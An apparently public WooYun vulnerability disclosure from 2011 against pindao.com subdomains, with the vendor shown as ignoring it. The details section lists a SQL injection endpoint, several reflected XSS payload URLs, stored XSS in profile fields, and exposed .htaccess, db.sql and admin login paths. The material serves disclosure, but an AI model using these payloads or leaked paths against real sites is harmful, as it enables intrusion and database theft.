品导网 Multiple Vulnerabilities

漏洞概要

缺陷编号:WooYun-2011-03132

漏洞标题:品导网 Multiple Vulnerabilities

相关厂商:品道网

漏洞作者:insight-labs

提交时间:2011-10-28 00:39

公开时间:2011-11-02 00:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

Tags标签:

漏洞详情

披露状态:

2011-10-28: 细节已通知厂商并且等待厂商处理中
2011-10-28: 厂商已查看当前漏洞内容,细节仅向厂商公开
2011-11-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

Author:Insight-labs(Web Security Group)1.高危 SQL Injection roothttp://pai.pindao.com/match/api/share/?id=537

2.Cross Site Scriptinghttp://tuan.pindao.com/subscribe.phppostemail=”><script>alert(/xss/)</script>

3.多處 Cross Site Scripting PHP_SELFhttp://go.pindao.com/search_1_0_0_%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3Ehttp://trust.pindao.com/trust/index/detail/trustid/1/%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3Ehttp://pai.pindao.com/hercloset/358232/2154/1/0/0/%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E

4.Cross Site Scripting onmouseoverhttp://www.pindao.com/cms/motor/artselect/keyword/%22%20onmouseover=alert%28123456%29%20bad=%22/t/1/page/1/timeera/0

5.Store Cross Site Scripting登入后会员基本信息内多个parameter未进行过滤

6.htaccess Leakagehttp://trust.pindao.com/.htaccess

7.SQL Leakagehttp://tuan.pindao.com/db.sql

8.后台 Leakagehttp://tuan.pindao.com/manage/login.phphttp://help.pindao.com/user/account/loginhttp://i.pindao.com/user/account/login

漏洞证明:

修复方案:

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2011-11-02 00:40

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无

评价

  1. 2010-01-01 00:00 insight-labs 白帽子 | Rank:502 漏洞数:74)

    忽略 = =